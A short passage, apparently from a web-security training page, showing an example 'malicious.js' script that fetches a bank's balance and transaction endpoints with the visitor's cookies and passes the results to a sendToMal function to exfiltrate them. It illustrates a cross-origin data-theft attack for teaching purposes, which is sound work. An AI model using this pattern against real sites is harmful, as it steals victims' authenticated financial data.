Want everyone on your software team to learn this? Free 14-day trial.
Train my team
malicious.js<script type="module">
// ๐ Try to grab secure details from other sites! ๐
const balance = await fetch('https://securebank.com/api/balance', {
credentials: 'include', // Include cookies
});
sendToMal(await balance.json());
const transactions = await fetch('https://securebank.com/api/transactions', {
credentials: 'include', // Include cookies
});
sendToMal(await transactions.json());
</script>